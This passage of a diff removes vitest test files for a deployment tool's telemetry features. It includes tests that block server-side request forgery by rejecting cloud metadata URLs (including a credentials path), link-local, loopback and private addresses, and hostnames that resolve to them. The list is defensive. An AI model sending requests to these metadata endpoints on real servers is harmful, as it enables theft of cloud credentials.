).rejects.toThrow(/metadata/i);
expect(global.fetch).not.toHaveBeenCalled();
expect(mocks.lookup).not.toHaveBeenCalled();
});
it("rejects the metadata IP written as an IPv4-mapped IPv6 address", async () => {
const providerFetch = await loadFetch(false);
for (const address of ["[::ffff:169.254.169.254]", "[::ffff:a9fe:a9fe]"]) {
await expect(
providerFetch(`http://${address}/latest/meta-data/`),
`expected ${address} to be rejected`,
).rejects.toThrow(/metadata/i);
}
expect(global.fetch).not.toHaveBeenCalled();
});
it("rejects the AWS ECS metadata IPv6 address", async () => {
const providerFetch = await loadFetch(false);
await expect(
providerFetch("http://[fd00:ec2::254]/v2/credentials"),
).rejects.toThrow(/metadata/i);
expect(global.fetch).not.toHaveBeenCalled();
});
it("rejects every fe80::/10 link-local address, not just literal fe80: ones", async () => {
const providerFetch = await loadFetch(false);
for (const address of [
"[fe80::1]",
"[fe90::1]",
"[fea0::1]",
"[febf::1]",
]) {
await expect(
providerFetch(`http://${address}/`),
`expected ${address} to be rejected`,
).rejects.toThrow(/metadata/i);
}
expect(global.fetch).not.toHaveBeenCalled();
});
it("does not block a hostname just because it starts like a link-local prefix", async () => {
const providerFetch = await loadFetch(false);
await providerFetch("https://feature-logs.example.com/ready");
expect(global.fetch).toHaveBeenCalledTimes(1);
});
it("rejects the GCP metadata hostname without needing DNS resolution", async () => {
const providerFetch = await loadFetch(false);
await expect(
providerFetch("http://metadata.google.internal/computeMetadata/v1/"),
).rejects.toThrow(/metadata/i);
expect(global.fetch).not.toHaveBeenCalled();
expect(mocks.lookup).not.toHaveBeenCalled();
});
it("rejects loopback and private-network endpoints in cloud", async () => {
const providerFetch = await loadFetch(true);
for (const url of [
"http://10.0.0.5:3100/ready",
"http://127.0.0.1:3100/ready",
"http://localhost:3100/ready",
"http://[::1]:3100/ready",
"http://0.0.0.0:3100/ready",
"http://100.100.100.200/latest/meta-data/",
"http://[::]:3100/ready",
]) {
await expect(
providerFetch(url),
`expected ${url} to be rejected`,
).rejects.toThrow(/blocked/i);
}
expect(global.fetch).not.toHaveBeenCalled();
});
it("does not follow redirects", async () => {
const providerFetch = await loadFetch(false);
await providerFetch("https://logs.example.com/ready");
expect(global.fetch).toHaveBeenCalledWith(
"https://logs.example.com/ready",
expect.objectContaining({ redirect: "error" }),
);
});
});
describe("providerFetch — address checked at connect time", () => {
let server: Server;
let port: number;
let hostHeader: string | undefined;
beforeEach(async () => {
mocks.lookup.mockReset();
hostHeader = undefined;
server = createServer((req, res) => {
hostHeader = req.headers.host;
res.end("ok");
});
await new Promise<void>((resolve) =>
server.listen(0, "127.0.0.1", resolve),
);
port = (server.address() as AddressInfo).port;
});
afterEach(async () => {
await new Promise((resolve) => server.close(resolve));
});
it("rejects a hostname whose lookup returns a metadata address", async () => {
const providerFetch = await loadFetch(false);
resolvesTo("203.0.113.10", "169.254.169.254");
await expect(
providerFetch("http://attacker-controlled.example.com/"),
).rejects.toThrow(/metadata/i);
expect(mocks.lookup).toHaveBeenCalledWith(
"attacker-controlled.example.com",
expect.anything(),
expect.any(Function),
);
});
it("rejects a hostname resolving to a private address in cloud", async () => {
const providerFetch = await loadFetch(true);
resolvesTo("127.0.0.1");
await expect(
providerFetch(`http://loki.internal.example.com:${port}/ready`),
).rejects.toThrow(/blocked/i);
expect(hostHeader).toBeUndefined();
});
it("rejects when DNS resolution fails", async () => {
const providerFetch = await loadFetch(false);
mocks.lookup.mockImplementation(
(_host: string, _options: unknown, callback: Function) =>
callback(Object.assign(new Error("ENOTFOUND"), { code: "ENOTFOUND" })),
);
await expect(
providerFetch("http://does-not-exist.invalid/"),
).rejects.toThrow();
expect(hostHeader).toBeUndefined();
});
it("connects to the address it validated, keeping the original Host header (self-hosted private endpoint)", async () => {
const providerFetch = await loadFetch(false);
resolvesTo("127.0.0.1");
const response = await providerFetch(
`http://loki.internal.example.com:${port}/ready`,
);
expect(await response.text()).toBe("ok");
expect(hostHeader).toBe(`loki.internal.example.com:${port}`);
});
it("passes a public address through in cloud", async () => {
const { guardedLookup } = await loadModule(true);
resolvesTo("203.0.113.10");
const result = await new Promise((resolve, reject) =>
guardedLookup("api.datadoghq.com", { all: true }, (error, addresses) =>
error ? reject(error) : resolve(addresses),
),
);
expect(result).toEqual([{ address: "203.0.113.10", family: 4 }]);
});
});
@@ -1,16 +0,0 @@
import { describe, expect, it } from "vitest";
import { providerLabel } from "@/components/dashboard/settings/logs-and-metrics/show-servers";
describe("providerLabel", () => {
it("names what the provider sends next to its name", () => {
expect(providerLabel({ name: "Loki prod", signals: ["logs"] })).toBe(
"Loki prod (logs)",
);
expect(providerLabel({ name: "Splunk", signals: ["metrics"] })).toBe(
"Splunk (metrics)",
);
expect(
providerLabel({ name: "Datadog", signals: ["logs", "metrics"] }),
).toBe("Datadog (logs and metrics)");
});
});
@@ -1,101 +0,0 @@
import type { SQL } from "drizzle-orm";
import { PgDialect } from "drizzle-orm/pg-core";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
deleted: [] as unknown[],
updates: [] as Array<{ table: unknown; values: Record<string, unknown> }>,
updatedServers: [] as Array<{ serverId: string }>,
updatedLocal: [] as Array<{ id: string }>,
queried: vi.fn(),
}));
vi.mock("@dokploy/server/db", () => {
const tx = {
delete: () => ({
where: () => ({
returning: () => Promise.resolve(mocks.deleted),
}),
}),
update: (table: unknown) => ({
set: (values: Record<string, unknown>) => ({
where: () => ({
returning: () => {
mocks.updates.push({ table, values });
return Promise.resolve(
mocks.updates.length === 1
? mocks.updatedServers
: mocks.updatedLocal,
);
},
}),
}),
}),
};
return {
db: {
transaction: (fn: (tx: unknown) => unknown) => fn(tx),
query: {
server: { findMany: mocks.queried },
webServerSettings: { findFirst: mocks.queried },
},
},
};
});
const { server, webServerSettings } = await import("@dokploy/server/db/schema");
const { removeTelemetryProvider } = await import(
"@dokploy/server/services/logs-and-metrics/service"
);
const render = (value: unknown) => new PgDialect().sqlToQuery(value as SQL).sql;
describe("removeTelemetryProvider", () => {
beforeEach(() => {
mocks.updates = [];
mocks.updatedServers = [{ serverId: "server-1" }];
mocks.updatedLocal = [{ id: "ws-1" }];
mocks.queried.mockReset();
});
it("drops the provider id from the selection of every server and of the local host", async () => {
mocks.deleted = [{ telemetryProviderId: "lp-1" }];
const { provider, targets } = await removeTelemetryProvider("lp-1");
expect(provider).toEqual({ telemetryProviderId: "lp-1" });
expect(targets).toEqual(["server-1", null]);
expect(mocks.updates.map((u) => u.table)).toEqual([
server,
webServerSettings,
]);
expect(render(mocks.updates[0]?.values.telemetryProviderIds)).toBe(
'array_remove("server"."telemetryProviderIds", $1)',
);
expect(render(mocks.updates[1]?.values.telemetryProviderIds)).toBe(
'array_remove("webServerSettings"."telemetryProviderIds", $1)',
);
expect(render(mocks.updates[1]?.values.vectorAgentOrganizationId)).toBe(
'CASE WHEN cardinality(array_remove("webServerSettings"."telemetryProviderIds", $1)) = 0 THEN NULL ELSE "webServerSettings"."vectorAgentOrganizationId" END',
);
});
it("reconciles exactly the hosts whose selection the transaction updated", async () => {
mocks.deleted = [{ telemetryProviderId: "lp-1" }];
mocks.updatedServers = [{ serverId: "server-1" }, { serverId: "server-2" }];
mocks.updatedLocal = [];
const { targets } = await removeTelemetryProvider("lp-1");
expect(targets).toEqual(["server-1", "server-2"]);
expect(mocks.queried).not.toHaveBeenCalled();
});
it("does not touch assignments when the provider does not exist", async () => {
mocks.deleted = [];
await expect(removeTelemetryProvider("missing")).rejects.toMatchObject({
code: "NOT_FOUND",
});
expect(mocks.updates).toEqual([]);
});
});
@@ -1,392 +0,0 @@
import {
getTelemetryProviderAdapter,
telemetryProviderAdapters,
} from "@dokploy/server/services/logs-and-metrics/providers/registry";
import type { TelemetryProviderRuntimeConfig } from "@dokploy/server/services/logs-and-metrics/types";
import { describe, expect, it } from "vitest";
const baseConfig: TelemetryProviderRuntimeConfig = {
telemetryProviderId: "provider-1",
name: "test",
signals: ["logs"],
endpoint: null,
apiKey: null,
apiSecret: null,
extraConfig: null,
};
describe("getTelemetryProviderAdapter", () => {
it("returns the registered adapter for each known type", () => {
expect(getTelemetryProviderAdapter("loki").type).toBe("loki");
expect(getTelemetryProviderAdapter("datadog").type).toBe("datadog");
expect(getTelemetryProviderAdapter("betterstack").type).toBe("betterstack");
expect(getTelemetryProviderAdapter("elasticsearch").type).toBe(
"elasticsearch",
);
expect(getTelemetryProviderAdapter("splunk_hec").type).toBe("splunk_hec");
expect(getTelemetryProviderAdapter("aws_cloudwatch").type).toBe(
"aws_cloudwatch",
);
});
it("throws an explicit error for an unregistered type", () => {
// @ts-expect-error: intentionally an unregistered type
expect(() => getTelemetryProviderAdapter("unknown")).toThrow(
/No TelemetryProviderAdapter registered/,
);
});
});
describe("lokiAdapter.toVectorSink", () => {
it("maps endpoint + labels, without tenant_id if not set", () => {
const adapter = telemetryProviderAdapters.loki;
const sink = adapter.toVectorSink(
{ ...baseConfig, endpoint: "https://loki.example.com" },
"sink_1",
"dokploy_scope",
"logs",
);
expect(sink.type).toBe("loki");
expect(sink.inputs).toEqual(["dokploy_scope"]);
expect(sink.endpoint).toBe("https://loki.example.com");
expect(sink.labels).toMatchObject({
dokploy_project: "{{ dokploy_project }}",
dokploy_environment: "{{ dokploy_environment }}",
dokploy_application: "{{ dokploy_application }}",
dokploy_organization: "{{ dokploy_organization }}",
dokploy_server: "{{ dokploy_server }}",
});
expect(sink.tenant_id).toBeUndefined();
expect(sink.buffer).toEqual({
type: "disk",
max_size: 268_435_488,
when_full: "block",
});
});
it("includes tenant_id when present in extraConfig", () => {
const adapter = telemetryProviderAdapters.loki;
const sink = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://loki.example.com",
extraConfig: { tenantId: "tenant-a" },
},
"sink_1",
"dokploy_scope",
"logs",
);
expect(sink.tenant_id).toBe("tenant-a");
});
it("has no toVectorTransform — goes directly scope -> sink", () => {
expect(telemetryProviderAdapters.loki.toVectorTransform).toBeUndefined();
});
});
describe("datadogAdapter.toVectorSink", () => {
it("defaults site to datadoghq.com and sets no `tags` field (datadog_logs has none)", () => {
const adapter = telemetryProviderAdapters.datadog;
const sink = adapter.toVectorSink(
{ ...baseConfig, apiKey: "dd-key" },
"sink_2",
"transform_2",
"logs",
);
expect(sink.type).toBe("datadog_logs");
expect(sink.default_api_key).toBe("dd-key");
expect(sink.site).toBe("datadoghq.com");
expect(sink.tags).toBeUndefined();
expect(sink.inputs).toEqual(["transform_2"]);
});
it("uses extraConfig.site when present", () => {
const adapter = telemetryProviderAdapters.datadog;
const sink = adapter.toVectorSink(
{
...baseConfig,
apiKey: "dd-key",
extraConfig: { site: "datadoghq.eu" },
},
"sink_2",
"transform_2",
"logs",
);
expect(sink.site).toBe("datadoghq.eu");
});
it("strips a pasted scheme/trailing slash from extraConfig.site instead of interpolating it as-is", () => {
const adapter = telemetryProviderAdapters.datadog;
const sink = adapter.toVectorSink(
{
...baseConfig,
apiKey: "dd-key",
extraConfig: { site: "https://datadoghq.eu/" },
},
"sink_2",
"transform_2",
"logs",
);
expect(sink.site).toBe("datadoghq.eu");
});
it("builds .ddtags from the scoping fields in toVectorTransform, since datadog_logs has no `tags` option (vector generate-schema)", () => {
const adapter = telemetryProviderAdapters.datadog;
expect(adapter.toVectorTransform).toBeDefined();
const transform = adapter.toVectorTransform?.(
baseConfig,
"transform_2",
"dokploy_scope",
"logs",
);
expect(transform?.type).toBe("remap");
expect(transform?.inputs).toEqual(["dokploy_scope"]);
expect(transform?.source).toContain(".ddtags");
expect(transform?.source).toContain(
'"dokploy_server:" + replace(to_string!(.dokploy_server), ",", "_")',
);
});
it("escapes commas in scoping field values before building .ddtags, since ddtags is itself comma delimited", () => {
const adapter = telemetryProviderAdapters.datadog;
const transform = adapter.toVectorTransform?.(
baseConfig,
"transform_2",
"dokploy_scope",
"logs",
);
expect(transform?.source).toContain(
'replace(to_string!(.dokploy_project), ",", "_")',
);
});
});
describe("betterStackAdapter", () => {
it("toVectorTransform renames timestamp to dt, inputs point to scope transform", () => {
const adapter = telemetryProviderAdapters.betterstack;
expect(adapter.toVectorTransform).toBeDefined();
const transform = adapter.toVectorTransform?.(
baseConfig,
"transform_1",
"dokploy_scope",
"logs",
);
expect(transform).toEqual({
type: "remap",
inputs: ["dokploy_scope"],
source: ".dt = del(.timestamp)",
});
});
it("toVectorSink builds a generic http sink with bearer auth, reading from the transform id", () => {
const adapter = telemetryProviderAdapters.betterstack;
const sink = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://in.logs.betterstack.com",
apiKey: "source-token",
},
"sink_3",
"transform_1",
"logs",
);
expect(sink.type).toBe("http");
expect(sink.inputs).toEqual(["transform_1"]);
expect(sink.uri).toBe("https://in.logs.betterstack.com/");
expect(sink.auth).toEqual({ strategy: "bearer", token: "source-token" });
expect(sink.compression).toBe("gzip");
});
});
describe("elasticsearchAdapter", () => {
it("has a toVectorTransform that flattens .label to a JSON string", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
expect(adapter.toVectorTransform).toBeDefined();
const transform = adapter.toVectorTransform?.(
baseConfig,
"transform_4",
"dokploy_scope",
"logs",
);
expect(transform?.type).toBe("remap");
expect(transform?.inputs).toEqual(["dokploy_scope"]);
expect(transform?.source).toContain("encode_json(.label)");
});
it("uses basic auth when a username is set", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
const sink = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://es.example.com:9200",
apiKey: "secret",
extraConfig: { username: "elastic" },
},
"sink_4",
"dokploy_scope",
"logs",
);
expect(sink.type).toBe("elasticsearch");
expect(sink.endpoints).toEqual(["https://es.example.com:9200"]);
expect(sink.auth).toEqual({
strategy: "basic",
user: "elastic",
password: "secret",
});
expect(sink.request).toBeUndefined();
});
it("falls back to an ApiKey header when no username is set", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
const sink = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://es.example.com:9200",
apiKey: "key-123",
},
"sink_4",
"dokploy_scope",
"logs",
);
expect(sink.auth).toBeUndefined();
expect(sink.request).toEqual({
headers: { Authorization: "ApiKey key-123" },
});
});
it("rejects a username set without a password instead of silently shipping unauthenticated", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
expect(() =>
adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://es.example.com:9200",
extraConfig: { username: "elastic" },
},
"sink_4",
"dokploy_scope",
"logs",
),
).toThrow(/Password.*required/i);
});
it("includes bulk.index only when extraConfig.index is set", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
const withoutIndex = adapter.toVectorSink(
{ ...baseConfig, endpoint: "https://es.example.com:9200" },
"sink_4",
"dokploy_scope",
"logs",
);
expect(withoutIndex.bulk).toBeUndefined();
const withIndex = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://es.example.com:9200",
extraConfig: { index: "dokploy-%Y.%m.%d" },
},
"sink_4",
"dokploy_scope",
"logs",
);
expect(withIndex.bulk).toEqual({ index: "dokploy-%Y.%m.%d" });
});
});
describe("splunkAdapter", () => {
it("has no toVectorTransform — scoping fields ride along as plain JSON fields", () => {
expect(
telemetryProviderAdapters.splunk_hec.toVectorTransform,
).toBeUndefined();
});
it("toVectorSink maps endpoint/token, only sets index/sourcetype when present", () => {
const adapter = telemetryProviderAdapters.splunk_hec;
const sink = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://splunk.example.com:8088",
apiKey: "hec-token",
},
"sink_5",
"dokploy_scope",
"logs",
);
expect(sink.type).toBe("splunk_hec_logs");
expect(sink.endpoint).toBe("https://splunk.example.com:8088");
expect(sink.default_token).toBe("hec-token");
expect(sink.encoding).toEqual({ codec: "json" });
expect(sink.index).toBeUndefined();
expect(sink.sourcetype).toBeUndefined();
const withExtras = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://splunk.example.com:8088",
apiKey: "hec-token",
extraConfig: { index: "dokploy", sourcetype: "docker" },
},
"sink_5",
"dokploy_scope",
"logs",
);
expect(withExtras.index).toBe("dokploy");
expect(withExtras.sourcetype).toBe("docker");
});
});
describe("awsCloudwatchAdapter", () => {
it("has no logs transform — scoping fields ride along as plain JSON fields", () => {
expect(
telemetryProviderAdapters.aws_cloudwatch.toVectorTransform?.(
baseConfig,
"transform_1",
"dokploy_scope",
"logs",
),
).toBeNull();
});
it("toVectorSink maps access key/secret, region and log group/stream", () => {
const adapter = telemetryProviderAdapters.aws_cloudwatch;
const sink = adapter.toVectorSink(
{
...baseConfig,
apiKey: "AKIA...",
apiSecret: "shh",
extraConfig: { region: "us-east-1", logGroup: "/dokploy/logs" },
},
"sink_6",
"dokploy_scope",
"logs",
);
expect(sink.type).toBe("aws_cloudwatch_logs");
expect(sink.group_name).toBe("/dokploy/logs");
expect(sink.stream_name).toBe("{{ container_name }}");
expect(sink.region).toBe("us-east-1");
expect(sink.auth).toEqual({
access_key_id: "AKIA...",
secret_access_key: "shh",
});
});
it("uses extraConfig.logStream as the stream template when set", () => {
const adapter = telemetryProviderAdapters.aws_cloudwatch;
const sink = adapter.toVectorSink(
{
...baseConfig,
apiKey: "AKIA...",
apiSecret: "shh",
extraConfig: {
region: "us-east-1",
logGroup: "/dokploy/logs",
logStream: "{{ dokploy_application }}",
},
},
"sink_6",
"dokploy_scope",
"logs",
);
expect(sink.stream_name).toBe("{{ dokploy_application }}");
});
});
@@ -1,661 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
insertValues: vi.fn(),
updateSet: vi.fn(),
findFirst: vi.fn(),
findMany: vi.fn(),
serverFindFirst: vi.fn(),
serverFindMany: vi.fn(),
webServerFindFirst: vi.fn(),
}));
vi.mock("@dokploy/server/db", () => ({
db: {
insert: () => ({
values: (v: any) => ({
returning: () => Promise.resolve(mocks.insertValues(v)),
}),
}),
update: () => ({
set: (v: any) => ({
where: () => ({
returning: () => Promise.resolve(mocks.updateSet(v)),
}),
}),
}),
query: {
telemetryProvider: {
findFirst: mocks.findFirst,
findMany: mocks.findMany,
},
server: {
findFirst: mocks.serverFindFirst,
findMany: mocks.serverFindMany,
},
webServerSettings: { findFirst: mocks.webServerFindFirst },
},
},
}));
const {
assertProvidersBelongToOrg,
assertSignalsSupported,
createTelemetryProvider,
testTelemetryProviderConnection,
updateTelemetryProvider,
} = await import("@dokploy/server/services/logs-and-metrics/service");
const { telemetryProviderAdapters } = await import(
"@dokploy/server/services/logs-and-metrics/providers/registry"
);
beforeEach(() => {
mocks.serverFindMany.mockResolvedValue([]);
mocks.webServerFindFirst.mockResolvedValue(undefined);
});
describe("updateTelemetryProvider — targets to re-apply", () => {
const existing = {
telemetryProviderId: "lp-1",
name: "loki",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: "old",
apiSecret: null,
extraConfig: null,
enabled: true,
};
beforeEach(() => {
mocks.findFirst.mockResolvedValue(existing);
mocks.updateSet.mockReturnValue([{ ...existing, apiKey: "new" }]);
mocks.serverFindMany.mockResolvedValue([{ serverId: "server-1" }]);
mocks.webServerFindFirst.mockResolvedValue({ id: "ws-1" });
});
it("returns the servers and the local host that ship with it when a credential changes", async () => {
const { targets } = await updateTelemetryProvider("lp-1", {
apiKey: "new",
});
expect(targets).toEqual(["server-1", null]);
});
it("returns the same targets when the provider is disabled", async () => {
const { targets } = await updateTelemetryProvider("lp-1", {
enabled: false,
});
expect(targets).toEqual(["server-1", null]);
});
it("returns no targets when only the name changes or a value is re-sent unchanged", async () => {
expect(
(await updateTelemetryProvider("lp-1", { name: "renamed" })).targets,
).toEqual([]);
expect(
(
await updateTelemetryProvider("lp-1", {
endpoint: "https://loki.example.com",
})
).targets,
).toEqual([]);
});
});
describe("createTelemetryProvider — required credential fields per adapter", () => {
it("rejects a loki provider without endpoint", async () => {
await expect(
createTelemetryProvider(
{ name: "loki-prod", providerType: "loki", signals: ["logs"] } as any,
"org-1",
),
).rejects.toThrow(/endpoint/i);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects a datadog provider without apiKey", async () => {
await expect(
createTelemetryProvider(
{ name: "dd", providerType: "datadog", signals: ["logs"] } as any,
"org-1",
),
).rejects.toThrow();
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects a betterstack provider missing either field", async () => {
await expect(
createTelemetryProvider(
{
name: "bs",
providerType: "betterstack",
signals: ["logs"],
apiKey: "token-only",
} as any,
"org-1",
),
).rejects.toThrow();
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects a splunk_hec provider without a HEC token", async () => {
await expect(
createTelemetryProvider(
{
name: "splunk",
providerType: "splunk_hec",
signals: ["logs"],
endpoint: "https://splunk.example.com:8088",
} as any,
"org-1",
),
).rejects.toThrow(/token/i);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects an aws_cloudwatch provider missing required extraConfig fields (region/log group)", async () => {
await expect(
createTelemetryProvider(
{
name: "cw",
providerType: "aws_cloudwatch",
signals: ["logs"],
apiKey: "AKIA...",
apiSecret: "shh",
} as any,
"org-1",
),
).rejects.toThrow(/region|log group/i);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects a datadog provider whose apiKey only exists inside extraConfig, not the real column", async () => {
await expect(
createTelemetryProvider(
{
name: "dd",
providerType: "datadog",
signals: ["logs"],
extraConfig: { apiKey: "sneaky-value" },
} as any,
"org-1",
),
).rejects.toThrow(/api key/i);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects an elasticsearch provider with a username but no password (adapter.validateConfig)", async () => {
await expect(
createTelemetryProvider(
{
name: "es",
providerType: "elasticsearch",
signals: ["logs"],
endpoint: "https://es.example.com:9200",
extraConfig: { username: "elastic" },
} as any,
"org-1",
),
).rejects.toThrow(/password.*required/i);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("accepts an aws_cloudwatch provider with region and log group set via extraConfig", async () => {
mocks.insertValues.mockReturnValue([
{
telemetryProviderId: "lp-2",
name: "cw",
providerType: "aws_cloudwatch",
signals: ["logs"],
},
]);
const created = await createTelemetryProvider(
{
name: "cw",
providerType: "aws_cloudwatch",
signals: ["logs"],
apiKey: "AKIA...",
apiSecret: "shh",
extraConfig: { region: "us-east-1", logGroup: "/dokploy/logs" },
} as any,
"org-1",
);
expect(created.telemetryProviderId).toBe("lp-2");
});
it("accepts a loki provider with endpoint", async () => {
mocks.insertValues.mockReturnValue([
{ telemetryProviderId: "lp-1", name: "loki-prod", providerType: "loki" },
]);
const created = await createTelemetryProvider(
{
name: "loki-prod",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
} as any,
"org-1",
);
expect(created.telemetryProviderId).toBe("lp-1");
expect(mocks.insertValues).toHaveBeenCalled();
});
});
describe("updateTelemetryProvider — merges partial update with existing row before validating", () => {
it("allows updating just the name without re-sending existing credentials", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "old-name",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: null,
apiSecret: null,
extraConfig: null,
});
mocks.updateSet.mockReturnValue([
{ telemetryProviderId: "lp-1", name: "new-name" },
]);
const { provider: updated, targets } = await updateTelemetryProvider(
"lp-1",
{ name: "new-name" },
);
expect(updated.name).toBe("new-name");
expect(targets).toEqual([]);
});
it("rejects clearing the only required field via update", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "loki-prod",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: null,
apiSecret: null,
extraConfig: null,
});
await expect(
updateTelemetryProvider("lp-1", { endpoint: null }),
).rejects.toThrow(/endpoint/i);
});
it("clears the old provider's credentials when providerType changes, unless new values are given", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "dd-prod",
providerType: "datadog",
signals: ["logs"],
endpoint: null,
apiKey: "old-datadog-key",
apiSecret: null,
extraConfig: { site: "datadoghq.com" },
});
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "lp-1" }]);
await updateTelemetryProvider("lp-1", {
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
});
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: null,
apiSecret: null,
extraConfig: null,
}),
);
});
it("merges a partial extraConfig update instead of replacing it wholesale", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "es-prod",
providerType: "elasticsearch",
signals: ["logs"],
endpoint: "https://es.example.com:9200",
apiKey: "secret",
apiSecret: null,
extraConfig: { username: "elastic", index: "custom-index" },
});
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "lp-1" }]);
await updateTelemetryProvider("lp-1", {
extraConfig: { username: "new-user" },
});
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({
extraConfig: { username: "new-user", index: "custom-index" },
}),
);
});
it("clears extraConfig entirely when explicitly set to null, instead of merging", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "es-prod",
providerType: "elasticsearch",
signals: ["logs"],
endpoint: "https://es.example.com:9200",
apiKey: null,
apiSecret: null,
extraConfig: { username: "elastic" },
});
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "lp-1" }]);
await updateTelemetryProvider("lp-1", { extraConfig: null });
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({ extraConfig: null }),
);
});
it("clears an optional credential when it is explicitly set to null", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "loki-prod",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: "old-token",
apiSecret: null,
extraConfig: { username: "user" },
});
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "lp-1" }]);
await updateTelemetryProvider("lp-1", { apiKey: null });
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({ apiKey: null }),
);
});
it("rejects clearing the elasticsearch password while a username stays saved", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "es-prod",
providerType: "elasticsearch",
signals: ["logs"],
endpoint: "https://es.example.com:9200",
apiKey: "old-password",
apiSecret: null,
extraConfig: { username: "elastic" },
});
await expect(
updateTelemetryProvider("lp-1", { apiKey: null }),
).rejects.toThrow(/Password/);
});
it("rejects a providerType change that doesn't satisfy the new type's required fields", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "dd-prod",
providerType: "datadog",
signals: ["logs"],
endpoint: null,
apiKey: "old-datadog-key",
apiSecret: null,
extraConfig: null,
});
await expect(
updateTelemetryProvider("lp-1", { providerType: "loki" }),
).rejects.toThrow(/endpoint/i);
});
});
describe("assertSignalsSupported", () => {
it("rejects a repeated signal", () => {
expect(() => assertSignalsSupported("loki", ["logs", "logs"])).toThrow(
/only be selected once/,
);
});
it("rejects a signal the type cannot send", () => {
expect(() => assertSignalsSupported("loki", ["metrics"])).toThrow(
/Grafana Loki cannot send metrics/,
);
});
it("accepts a supported subset", () => {
expect(() => assertSignalsSupported("loki", ["logs"])).not.toThrow();
});
});
describe("createTelemetryProvider — signals", () => {
it("rejects a provider whose type cannot send the selected signal", async () => {
mocks.insertValues.mockClear();
await expect(
createTelemetryProvider(
{
name: "loki",
providerType: "loki",
signals: ["metrics"],
endpoint: "https://loki.example.com",
} as any,
"org-1",
),
).rejects.toThrow(/cannot send metrics/);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
});
describe("assertProvidersBelongToOrg", () => {
beforeEach(() => {
mocks.findMany.mockResolvedValue([
{
telemetryProviderId: "lp-1",
name: "loki",
enabled: true,
signals: ["logs"],
},
]);
});
it("accepts a provider of the organization regardless of what it sends", async () => {
await expect(
assertProvidersBelongToOrg(["lp-1"], "org-1"),
).resolves.toBeUndefined();
});
it("rejects an id that is not in the organization", async () => {
await expect(
assertProvidersBelongToOrg(["lp-9"], "org-1"),
).rejects.toMatchObject({ code: "UNAUTHORIZED" });
});
it("rejects a selection where every provider is disabled", async () => {
mocks.findMany.mockResolvedValue([
{
telemetryProviderId: "lp-1",
name: "loki",
enabled: false,
signals: ["logs"],
},
]);
await expect(assertProvidersBelongToOrg(["lp-1"], "org-1")).rejects.toThrow(
/at least one enabled provider/,
);
});
});
describe("required fields scoped to a signal", () => {
beforeEach(() => {
mocks.insertValues.mockReset();
mocks.insertValues.mockReturnValue([{ telemetryProviderId: "cw-1" }]);
});
it("does not require the log group when only metrics are selected", async () => {
await expect(
createTelemetryProvider(
{
name: "cw",
providerType: "aws_cloudwatch",
signals: ["metrics"],
apiKey: "AKIA",
apiSecret: "shh",
extraConfig: { region: "us-east-1", metricsNamespace: "Dokploy" },
} as any,
"org-1",
),
).resolves.toMatchObject({ telemetryProviderId: "cw-1" });
});
it("does not require the metrics namespace when only logs are selected", async () => {
await expect(
createTelemetryProvider(
{
name: "cw",
providerType: "aws_cloudwatch",
signals: ["logs"],
apiKey: "AKIA",
apiSecret: "shh",
extraConfig: { region: "us-east-1", logGroup: "/dokploy/logs" },
} as any,
"org-1",
),
).resolves.toMatchObject({ telemetryProviderId: "cw-1" });
});
it("requires the metrics namespace when metrics are selected", async () => {
await expect(
createTelemetryProvider(
{
name: "cw",
providerType: "aws_cloudwatch",
signals: ["logs", "metrics"],
apiKey: "AKIA",
apiSecret: "shh",
extraConfig: { region: "us-east-1", logGroup: "/dokploy/logs" },
} as any,
"org-1",
),
).rejects.toThrow(/Metrics namespace/);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
});
describe("signals are stored in a fixed order", () => {
it("normalizes the order on create", async () => {
mocks.insertValues.mockReset();
